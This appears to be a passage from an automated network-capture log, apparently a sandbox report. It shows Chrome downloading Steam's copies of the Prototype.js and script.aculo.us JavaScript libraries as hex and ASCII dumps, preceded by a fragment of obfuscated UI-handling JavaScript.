f345=_0x578c25['marginTop']+_0x578c25['marginBottom'],_0xf74b90=_0x578c25[_0x491526(0x2a9)]+_0x578c25[_0x491526(0x222)],_0x57367e=_0x578c25[_0x491526(0x2ad)]+_0x578c25[_0x491526(0x264)],_0x2c6865=_0x4c9087(_0x3b2897[_0x491526(0x1c7)]);_0x2c6865!==!0x1&&(_
2024-10-06 12:08:23 UTC	1369	IN	Data Raw: 64 5b 5f 30 78 33 38 36 35 64 30 5d 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 5f 30 78 31 62 64 65 37 30 5b 5f 30 78 31 30 64 63 65 62 28 30 78 32 36 35 29 5d 28 5f 30 78 33 62 63 39 39 63 29 7c 7c 5f 30 78 31 62 64 65 37 30 5b 27 70 75 73 68 27 5d 28 5f 30 78 33 62 63 39 39 63 29 2c 74 68 69 73 3b 7d 2c 5f 30 78 33 37 65 36 63 32 5b 5f 30 78 31 39 37 34 61 65 28 30 78 32 36 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 65 61 38 65 33 2c 5f 30 78 32 37 37 62 36 61 29 7b 63 6f 6e 73 74 20 5f 30 78 34 35 38 37 34 39 3d 5f 30 78 31 39 37 34 61 65 3b 69 66 28 21 5f 30 78 35 65 61 38 65 33 7c 7c 21 5f 30 78 32 37 37 62 36 61 29 72 65 74 75 72 6e 20 74 68 69 73 3b 74 68 69 73 5b 27 6f 6e 27 5d 28 5f 30 78 35 65 61 38 65 33 2c 5f 30 78 32 37 37 62 36 61 29 3b 6c Data Ascii: d[_0x3865d0]\|\|[];return _0x1bde70[_0x10dceb(0x265)](_0x3bc99c)\|\|_0x1bde70['push'](_0x3bc99c),this;},_0x37e6c2[_0x1974ae(0x263)]=function(_0x5ea8e3,_0x277b6a){const _0x458749=_0x1974ae;if(!_0x5ea8e3\|\|!_0x277b6a)return this;this['on'](_0x5ea8e3,_0x277b6a);l
2024-10-06 12:08:23 UTC	1369	IN	Data Raw: 65 74 65 20 74 68 69 73 5b 5f 30 78 34 63 31 34 62 64 28 30 78 31 64 37 29 5d 2c 74 68 69 73 3b 7d 2c 5f 30 78 31 32 31 32 36 30 3b 7d 29 29 3b 7d 29 2c 5f 30 78 33 38 33 32 30 35 3d 5f 30 78 34 62 39 63 35 33 28 28 5f 30 78 34 30 61 35 30 61 2c 5f 30 78 35 61 32 66 37 65 29 3d 3e 7b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 65 34 32 36 65 2c 5f 30 78 32 64 31 38 61 30 29 7b 63 6f 6e 73 74 20 5f 30 78 35 62 66 64 32 36 3d 5f 30 78 34 36 61 64 3b 74 79 70 65 6f 66 20 5f 30 78 35 61 32 66 37 65 3d 3d 5f 30 78 35 62 66 64 32 36 28 30 78 31 66 66 29 26 26 5f 30 78 35 61 32 66 37 65 5b 5f 30 78 35 62 66 64 32 36 28 30 78 32 33 32 29 5d 3f 5f 30 78 35 61 32 66 37 65 5b 5f 30 78 35 62 66 64 32 36 28 30 78 32 33 32 29 5d 3d 5f 30 78 32 64 31 38 61 30 28 5f 30 78 Data Ascii: ete this[_0x4c14bd(0x1d7)],this;},_0x121260;}));}),_0x383205=_0x4b9c53((_0x40a50a,_0x5a2f7e)=>{(function(_0x2e426e,_0x2d18a0){const _0x5bfd26=_0x46ad;typeof _0x5a2f7e==_0x5bfd26(0x1ff)&&_0x5a2f7e[_0x5bfd26(0x232)]?_0x5a2f7e[_0x5bfd26(0x232)]=_0x2d18a0(_0x
2024-10-06 12:08:23 UTC	1369	IN	Data Raw: 68 69 73 5b 27 68 61 6e 64 6c 65 73 27 5d 5b 5f 30 78 34 30 66 65 38 66 28 30 78 32 30 64 29 5d 28 5f 30 78 33 37 30 38 39 36 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 33 35 36 61 39 62 3d 5f 30 78 34 30 66 65 38 66 3b 5f 30 78 33 37 30 38 39 36 5b 5f 30 78 32 34 66 66 66 37 5d 28 5f 30 78 35 34 64 30 35 65 2c 74 68 69 73 29 2c 5f 30 78 33 37 30 38 39 36 5b 5f 30 78 32 34 66 66 66 37 5d 28 5f 30 78 33 35 36 61 39 62 28 30 78 32 38 30 29 2c 74 68 69 73 29 2c 5f 30 78 39 33 37 36 33 35 5b 5f 30 78 33 35 36 61 39 62 28 30 78 31 63 64 29 5d 26 26 28 5f 30 78 33 37 30 38 39 36 5b 5f 30 78 33 35 36 61 39 62 28 30 78 32 39 39 29 5d 5b 5f 30 78 33 35 36 61 39 62 28 30 78 32 34 63 29 5d 3d 5f 30 78 34 66 65 39 66 37 29 3b 7d 29 3b 7d 2c 5f 30 78 64 34 32 65 30 32 5b 5f Data Ascii: his['handles'][_0x40fe8f(0x20d)](_0x370896=>{const _0x356a9b=_0x40fe8f;_0x370896[_0x24fff7](_0x54d05e,this),_0x370896[_0x24fff7](_0x356a9b(0x280),this),_0x937635[_0x356a9b(0x1cd)]&&(_0x370896[_0x356a9b(0x299)][_0x356a9b(0x24c)]=_0x4fe9f7);});},_0xd42e02[_
2024-10-06 12:08:23 UTC	1369	IN	Data Raw: 39 33 37 3d 5f 30 78 35 64 37 30 37 34 3b 74 68 69 73 5b 5f 30 78 31 33 61 39 33 37 28 30 78 31 62 61 29 5d 28 5f 30 78 34 30 30 63 31 37 2c 5f 30 78 34 30 30 63 31 37 29 3b 7d 3b 6c 65 74 20 5f 30 78 33 34 36 34 37 65 3d 5b 5f 30 78 35 64 37 30 37 34 28 30 78 31 64 63 29 2c 5f 30 78 35 64 37 30 37 34 28 30 78 31 63 39 29 2c 27 53 45 4c 45 43 54 27 2c 27 4f 50 54 49 4f 4e 27 5d 2c 5f 30 78 33 66 34 31 30 34 3d 5b 27 72 61 64 69 6f 27 2c 27 63 68 65 63 6b 62 6f 78 27 2c 27 62 75 74 74 6f 6e 27 2c 5f 30 78 35 64 37 30 37 34 28 30 78 32 38 33 29 2c 5f 30 78 35 64 37 30 37 34 28 30 78 32 36 36 29 2c 27 66 69 6c 65 27 5d 3b 72 65 74 75 72 6e 20 5f 30 78 64 34 32 65 30 32 5b 5f 30 78 35 64 37 30 37 34 28 30 78 31 62 61 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 Data Ascii: 937=_0x5d7074;this[_0x13a937(0x1ba)](_0x400c17,_0x400c17);};let _0x34647e=[_0x5d7074(0x1dc),_0x5d7074(0x1c9),'SELECT','OPTION'],_0x3f4104=['radio','checkbox','button',_0x5d7074(0x283),_0x5d7074(0x266),'file'];return _0xd42e02[_0x5d7074(0x1ba)]=function(_0
2024-10-06 12:08:23 UTC	1369	IN	Data Raw: 30 78 31 61 38 63 63 36 28 30 78 32 35 30 29 5d 2d 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 30 62 29 5d 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 35 30 29 5d 2c 27 79 27 3a 5f 30 78 33 35 62 39 35 37 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 35 35 29 5d 2d 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 30 62 29 5d 5b 27 70 61 67 65 59 27 5d 7d 3b 74 68 69 73 5b 27 65 6d 69 74 45 76 65 6e 74 27 5d 28 5f 30 78 31 61 38 63 63 36 28 30 78 32 36 62 29 2c 5b 5f 30 78 34 32 66 37 61 36 2c 5f 30 78 33 35 62 39 35 37 2c 5f 30 78 33 65 37 32 64 63 5d 29 2c 21 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 31 62 66 29 5d 26 26 74 68 69 73 5b 5f 30 78 31 61 38 63 63 36 28 30 78 32 30 32 29 5d 28 5f 30 78 33 65 37 32 64 63 29 26 26 74 68 69 73 Data Ascii: 0x1a8cc6(0x250)]-this[_0x1a8cc6(0x20b)][_0x1a8cc6(0x250)],'y':_0x35b957[_0x1a8cc6(0x255)]-this[_0x1a8cc6(0x20b)]['pageY']};this['emitEvent'](_0x1a8cc6(0x26b),[_0x42f7a6,_0x35b957,_0x3e72dc]),!this[_0x1a8cc6(0x1bf)]&&this[_0x1a8cc6(0x202)](_0x3e72dc)&&this

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49743	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:23 UTC	542	OUT	GET /public/javascript/prototype-1.7.js?v=.a38iP7Khdmyy HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:23 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: ".a38iP7Khdmyy" Last-Modified: Wed, 28 Jun 2023 04:07:21 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, max-age=9249710 Expires: Tue, 21 Jan 2025 13:30:13 GMT Date: Sun, 06 Oct 2024 12:08:23 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 12:08:23 UTC	15995	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 2f 2a 20 20 50 72 6f 74 6f 74 79 70 65 20 4a 61 76 61 53 63 72 69 70 74 20 66 72 61 6d 65 77 6f 72 6b 2c 20 76 65 72 73 69 6f 6e 20 31 2e 37 0d 0a 20 2a 20 20 28 63 29 20 32 30 30 35 2d 32 30 31 30 20 53 61 6d 20 53 74 65 70 68 65 6e 73 6f 6e 0d 0a 20 2a 0d 0a 20 2a 20 20 50 72 6f 74 6f 74 79 70 65 20 69 73 20 66 72 65 65 6c 79 20 64 69 73 74 72 69 62 75 74 61 62 6c 65 20 75 6e 64 65 72 20 74 68 65 20 74 65 72 6d 73 20 6f 66 20 61 6e 20 4d 49 54 2d 73 74 79 6c 65 20 6c 69 63 65 6e 73 65 2e 0d 0a 20 2a 20 20 46 6f 72 20 64 65 74 61 69 6c 73 2c 20 73 65 65 20 74 68 65 20 50 72 6f 74 6f 74 79 70 65 20 77 65 62 20 73 69 74 65 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 70 72 6f 74 6f 74 79 70 65 6a 73 2e 6f 72 67 2f 0d 0a 20 2a Data Ascii: 0000C000/* Prototype JavaScript framework, version 1.7 * (c) 2005-2010 Sam Stephenson * * Prototype is freely distributable under the terms of an MIT-style license. * For details, see the Prototype web site: http://www.prototypejs.org/ *
2024-10-06 12:08:23 UTC	15833	IN	Data Raw: 2f 3c 5c 77 2b 28 5c 73 2b 28 22 5b 5e 22 5d 2a 22 7c 27 5b 5e 27 5d 2a 27 7c 5b 5e 3e 5d 29 2b 29 3f 3e 7c 3c 5c 2f 5c 77 2b 3e 2f 67 69 2c 20 27 27 29 3b 0d 0a 20 20 7d 0d 0a 0d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 73 74 72 69 70 53 63 72 69 70 74 73 28 29 20 7b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 72 65 70 6c 61 63 65 28 6e 65 77 20 52 65 67 45 78 70 28 50 72 6f 74 6f 74 79 70 65 2e 53 63 72 69 70 74 46 72 61 67 6d 65 6e 74 2c 20 27 69 6d 67 27 29 2c 20 27 27 29 3b 0d 0a 20 20 7d 0d 0a 0d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 65 78 74 72 61 63 74 53 63 72 69 70 74 73 28 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 6d 61 74 63 68 41 6c 6c 20 3d 20 6e 65 77 20 52 65 67 45 78 70 28 50 72 6f 74 6f 74 79 70 65 2e 53 63 72 69 70 74 46 72 61 67 6d 65 Data Ascii: /<\w+(\s+("[^"]"\|'[^']'\|[^>])+)?>\|<\/\w+>/gi, ''); } function stripScripts() { return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); } function extractScripts() { var matchAll = new RegExp(Prototype.ScriptFragme
2024-10-06 12:08:23 UTC	16384	IN	Data Raw: 61 72 72 61 79 50 72 6f 74 6f 2c 20 7b 0d 0a 20 20 20 20 5f 65 61 63 68 3a 20 20 20 20 20 5f 65 61 63 68 2c 0d 0a 20 20 20 20 63 6c 65 61 72 3a 20 20 20 20 20 63 6c 65 61 72 2c 0d 0a 20 20 20 20 66 69 72 73 74 3a 20 20 20 20 20 66 69 72 73 74 2c 0d 0a 20 20 20 20 6c 61 73 74 3a 20 20 20 20 20 20 6c 61 73 74 2c 0d 0a 20 20 20 20 63 6f 6d 70 61 63 74 3a 20 20 20 63 6f 6d 70 61 63 74 2c 0d 0a 20 20 20 20 66 6c 61 74 74 65 6e 3a 20 20 20 66 6c 61 74 74 65 6e 2c 0d 0a 20 20 20 20 77 69 74 68 6f 75 74 3a 20 20 20 77 69 74 68 6f 75 74 2c 0d 0a 20 20 20 20 72 65 76 65 72 73 65 3a 20 20 20 72 65 76 65 72 73 65 2c 0d 0a 20 20 20 20 75 6e 69 71 3a 20 20 20 20 20 20 75 6e 69 71 2c 0d 0a 20 20 20 20 69 6e 74 65 72 73 65 63 74 3a 20 69 6e 74 65 72 73 65 63 74 2c 0d 0a Data Ascii: arrayProto, { _each: _each, clear: clear, first: first, last: last, compact: compact, flatten: flatten, without: without, reverse: reverse, uniq: uniq, intersect: intersect,
2024-10-06 12:08:23 UTC	952	IN	Data Raw: 6f 6d 70 6c 65 74 65 20 3d 20 75 6e 64 65 66 69 6e 65 64 3b 0d 0a 20 20 20 20 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 74 69 6d 65 72 29 3b 0d 0a 20 20 20 20 28 74 68 69 73 2e 6f 6e 43 6f 6d 70 6c 65 74 65 20 7c 7c 20 50 72 6f 74 6f 74 79 70 65 2e 65 6d 70 74 79 46 75 6e 63 74 69 6f 6e 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 20 61 72 67 75 6d 65 6e 74 73 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 75 70 64 61 74 65 43 6f 6d 70 6c 65 74 65 3a 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 64 65 63 61 79 29 20 7b 0d 0a 20 20 20 20 20 20 74 68 69 73 2e 64 65 63 61 79 20 3d 20 28 72 65 73 70 6f 6e 73 65 2e 72 65 73 70 6f 6e 73 65 54 65 78 74 20 3d 3d 20 74 68 69 73 Data Ascii: omplete = undefined; clearTimeout(this.timer); (this.onComplete \|\| Prototype.emptyFunction).apply(this, arguments); }, updateComplete: function(response) { if (this.options.decay) { this.decay = (response.responseText == this
2024-10-06 12:08:23 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 75 6d 65 6e 74 2e 5f 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 58 50 61 74 68 20 3d 20 66 75 6e 63 74 69 6f 6e 28 65 78 70 72 65 73 73 69 6f 6e 2c 20 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 72 65 73 75 6c 74 73 20 3d 20 5b 5d 3b 0d 0a 20 20 20 20 76 61 72 20 71 75 65 72 79 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 65 76 61 6c 75 61 74 65 28 65 78 70 72 65 73 73 69 6f 6e 2c 20 24 28 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 20 7c 7c 20 64 6f 63 75 6d 65 6e 74 2c 0d 0a 20 20 20 20 20 20 6e 75 6c 6c 2c 20 58 50 61 74 68 52 65 73 75 6c 74 2e 4f 52 44 45 52 45 44 5f 4e 4f 44 45 5f 53 4e 41 50 53 48 4f 54 5f 54 59 50 45 2c 20 6e 75 6c 6c 29 3b 0d 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 Data Ascii: 00004000ument._getElementsByXPath = function(expression, parentElement) { var results = []; var query = document.evaluate(expression, $(parentElement) \|\| document, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null); for (var i = 0
2024-10-06 12:08:23 UTC	12	IN	Data Raw: 74 28 65 6c 65 6d 65 6e 74 29 0d 0a Data Ascii: t(element)
2024-10-06 12:08:23 UTC	16384	IN	Data Raw: 30 30 30 30 43 43 39 37 0d 0a 3b 0d 0a 20 20 20 20 77 69 6e 64 6f 77 2e 73 63 72 6f 6c 6c 54 6f 28 70 6f 73 5b 30 5d 2c 20 70 6f 73 5b 31 5d 29 3b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 65 6c 65 6d 65 6e 74 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 67 65 74 53 74 79 6c 65 3a 20 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 65 6e 74 2c 20 73 74 79 6c 65 29 20 7b 0d 0a 20 20 20 20 65 6c 65 6d 65 6e 74 20 3d 20 24 28 65 6c 65 6d 65 6e 74 29 3b 0d 0a 20 20 20 20 73 74 79 6c 65 20 3d 20 73 74 79 6c 65 20 3d 3d 20 27 66 6c 6f 61 74 27 20 3f 20 27 63 73 73 46 6c 6f 61 74 27 20 3a 20 73 74 79 6c 65 2e 63 61 6d 65 6c 69 7a 65 28 29 3b 0d 0a 20 20 20 20 76 61 72 20 76 61 6c 75 65 20 3d 20 65 6c 65 6d 65 6e 74 2e 73 74 79 6c 65 5b 73 74 79 6c 65 5d 3b 0d 0a 20 20 20 20 69 66 Data Ascii: 0000CC97; window.scrollTo(pos[0], pos[1]); return element; }, getStyle: function(element, style) { element = $(element); style = style == 'float' ? 'cssFloat' : style.camelize(); var value = element.style[style]; if
2024-10-06 12:08:23 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 70 72 6f 74 6f 5b 69 64 5d 20 3d 20 27 78 27 3b 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 69 73 42 75 67 67 79 20 3d 20 28 65 6c 5b 69 64 5d 20 21 3d 3d 20 27 78 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 64 65 6c 65 74 65 20 70 72 6f 74 6f 5b 69 64 5d 3b 0d 0a 20 20 20 20 20 20 20 20 65 6c 20 3d 20 6e 75 6c 6c 3b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 69 73 42 75 67 67 79 3b 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 7d 0d 0a 0d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 65 78 74 65 6e 64 45 6c 65 6d 65 6e 74 57 69 74 68 28 65 6c 65 6d 65 6e 74 2c 20 6d 65 74 68 6f 64 73 29 20 7b 0d 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 70 72 6f 70 65 72 74 79 20 69 Data Ascii: proto[id] = 'x'; var isBuggy = (el[id] !== 'x'); delete proto[id]; el = null; return isBuggy; } } return false; } function extendElementWith(element, methods) { for (var property i
2024-10-06 12:08:23 UTC	2748	IN	Data Raw: 6f 74 74 6f 6d 3b 0d 0a 20 20 20 20 20 20 7d 2c 0d 0a 0d 0a 20 20 20 20 20 20 27 77 69 64 74 68 27 3a 20 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 65 6e 74 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 21 74 68 69 73 2e 5f 70 72 65 43 6f 6d 70 75 74 69 6e 67 29 20 74 68 69 73 2e 5f 62 65 67 69 6e 28 29 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 62 57 69 64 74 68 20 3d 20 74 68 69 73 2e 67 65 74 28 27 62 6f 72 64 65 72 2d 62 6f 78 2d 77 69 64 74 68 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 62 57 69 64 74 68 20 3c 3d 20 30 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 74 68 69 73 2e 5f 70 72 65 43 6f 6d 70 75 74 69 6e 67 29 20 74 68 69 73 2e 5f 65 6e 64 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 30 3b Data Ascii: ottom; }, 'width': function(element) { if (!this._preComputing) this._begin(); var bWidth = this.get('border-box-width'); if (bWidth <= 0) { if (!this._preComputing) this._end(); return 0;
2024-10-06 12:08:23 UTC	16384	IN	Data Raw: 20 3d 20 70 61 72 65 6e 74 2e 6d 65 61 73 75 72 65 28 27 77 69 64 74 68 27 29 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 6d 57 69 64 74 68 20 3d 20 74 68 69 73 2e 67 65 74 28 27 62 6f 72 64 65 72 2d 62 6f 78 2d 77 69 64 74 68 27 29 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 70 57 69 64 74 68 20 2d 20 6d 57 69 64 74 68 20 2d 20 6f 66 66 73 65 74 2e 6c 65 66 74 3b 0d 0a 20 20 20 20 20 20 7d 2c 0d 0a 0d 0a 20 20 20 20 20 20 27 70 61 64 64 69 6e 67 2d 74 6f 70 27 3a 20 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 65 6e 74 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 67 65 74 50 69 78 65 6c 56 61 6c 75 65 28 65 6c 65 6d 65 6e 74 2c 20 27 70 61 64 64 69 6e 67 54 6f 70 27 29 3b 0d 0a 20 20 20 20 20 20 7d 2c 0d 0a 0d 0a 20 20 20 Data Ascii: = parent.measure('width'); var mWidth = this.get('border-box-width'); return pWidth - mWidth - offset.left; }, 'padding-top': function(element) { return getPixelValue(element, 'paddingTop'); },

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49742	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:23 UTC	590	OUT	GET /public/javascript/scriptaculous/_combined.js?v=Me1IBxzktiwk&l=english&load=effects,controls,slider HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:23 UTC	383	IN	HTTP/1.1 200 OK Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT ETag: "Me1IBxzktiwk" Server: nginx Content-Type: text/javascript;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=9499605 Expires: Fri, 24 Jan 2025 10:55:08 GMT Date: Sun, 06 Oct 2024 12:08:23 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-06 12:08:23 UTC	16001	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 2f 2f 20 73 63 72 69 70 74 2e 61 63 75 6c 6f 2e 75 73 20 73 63 72 69 70 74 61 63 75 6c 6f 75 73 2e 6a 73 20 76 31 2e 38 2e 31 2c 20 54 68 75 20 4a 61 6e 20 30 33 20 32 32 3a 30 37 3a 31 32 20 2d 30 35 30 30 20 32 30 30 38 0d 0a 0d 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 35 2d 32 30 30 37 20 54 68 6f 6d 61 73 20 46 75 63 68 73 20 28 68 74 74 70 3a 2f 2f 73 63 72 69 70 74 2e 61 63 75 6c 6f 2e 75 73 2c 20 68 74 74 70 3a 2f 2f 6d 69 72 2e 61 63 75 6c 6f 2e 75 73 29 0d 0a 2f 2f 20 0d 0a 2f 2f 20 50 65 72 6d 69 73 73 69 6f 6e 20 69 73 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 2c 20 66 72 65 65 20 6f 66 20 63 68 61 72 67 65 2c 20 74 6f 20 61 6e 79 20 70 65 72 73 6f 6e 20 6f 62 74 61 69 6e 69 6e 67 0d 0a 2f Data Ascii: 0000C000// script.aculo.us scriptaculous.js v1.8.1, Thu Jan 03 22:07:12 -0500 2008// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)// // Permission is hereby granted, free of charge, to any person obtaining/
2024-10-06 12:08:23 UTC	15801	IN	Data Raw: 61 63 6b 77 61 72 64 73 20 63 6f 6d 70 61 74 69 62 69 6c 69 74 79 0d 0a 45 66 66 65 63 74 2e 4d 6f 76 65 42 79 20 3d 20 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 65 6e 74 2c 20 74 6f 54 6f 70 2c 20 74 6f 4c 65 66 74 29 20 7b 0d 0a 20 20 72 65 74 75 72 6e 20 6e 65 77 20 45 66 66 65 63 74 2e 4d 6f 76 65 28 65 6c 65 6d 65 6e 74 2c 20 0d 0a 20 20 20 20 4f 62 6a 65 63 74 2e 65 78 74 65 6e 64 28 7b 20 78 3a 20 74 6f 4c 65 66 74 2c 20 79 3a 20 74 6f 54 6f 70 20 7d 2c 20 61 72 67 75 6d 65 6e 74 73 5b 33 5d 20 7c 7c 20 7b 20 7d 29 29 3b 0d 0a 7d 3b 0d 0a 0d 0a 45 66 66 65 63 74 2e 53 63 61 6c 65 20 3d 20 43 6c 61 73 73 2e 63 72 65 61 74 65 28 45 66 66 65 63 74 2e 42 61 73 65 2c 20 7b 0d 0a 20 20 69 6e 69 74 69 61 6c 69 7a 65 3a 20 66 75 6e 63 74 69 6f 6e 28 65 6c 65 Data Ascii: ackwards compatibilityEffect.MoveBy = function(element, toTop, toLeft) { return new Effect.Move(element, Object.extend({ x: toLeft, y: toTop }, arguments[3] \|\| { }));};Effect.Scale = Class.create(Effect.Base, { initialize: function(ele
2024-10-06 12:08:23 UTC	16384	IN	Data Raw: 6c 65 6d 65 6e 74 2e 73 65 74 53 74 79 6c 65 28 7b 68 65 69 67 68 74 3a 20 27 30 70 78 27 7d 29 2e 73 68 6f 77 28 29 3b 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 61 66 74 65 72 46 69 6e 69 73 68 49 6e 74 65 72 6e 61 6c 3a 20 66 75 6e 63 74 69 6f 6e 28 65 66 66 65 63 74 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 66 66 65 63 74 2e 65 66 66 65 63 74 73 5b 30 5d 2e 65 6c 65 6d 65 6e 74 2e 75 6e 64 6f 43 6c 69 70 70 69 6e 67 28 29 2e 75 6e 64 6f 50 6f 73 69 74 69 6f 6e 65 64 28 29 2e 73 65 74 53 74 79 6c 65 28 6f 6c 64 53 74 79 6c 65 29 3b 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 7d 2c 20 6f 70 74 69 6f 6e 73 29 0d 0a 20 20 20 20 20 20 Data Ascii: lement.setStyle({height: '0px'}).show(); }, afterFinishInternal: function(effect) { effect.effects[0].element.undoClipping().undoPositioned().setStyle(oldStyle); } }, options)
2024-10-06 12:08:23 UTC	978	IN	Data Raw: 0d 0a 20 20 6f 6e 4b 65 79 50 72 65 73 73 3a 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 69 66 28 74 68 69 73 2e 61 63 74 69 76 65 29 0d 0a 20 20 20 20 20 20 73 77 69 74 63 68 28 65 76 65 6e 74 2e 6b 65 79 43 6f 64 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 63 61 73 65 20 45 76 65 6e 74 2e 4b 45 59 5f 54 41 42 3a 0d 0a 20 20 20 20 20 20 20 63 61 73 65 20 45 76 65 6e 74 2e 4b 45 59 5f 52 45 54 55 52 4e 3a 0d 0a 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 73 65 6c 65 63 74 45 6e 74 72 79 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 45 76 65 6e 74 2e 73 74 6f 70 28 65 76 65 6e 74 29 3b 0d 0a 20 20 20 20 20 20 20 63 61 73 65 20 45 76 65 6e 74 2e 4b 45 59 5f 45 53 43 3a 0d 0a 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 68 69 64 65 28 29 3b 0d Data Ascii: onKeyPress: function(event) { if(this.active) switch(event.keyCode) { case Event.KEY_TAB: case Event.KEY_RETURN: this.selectEntry(); Event.stop(event); case Event.KEY_ESC: this.hide();
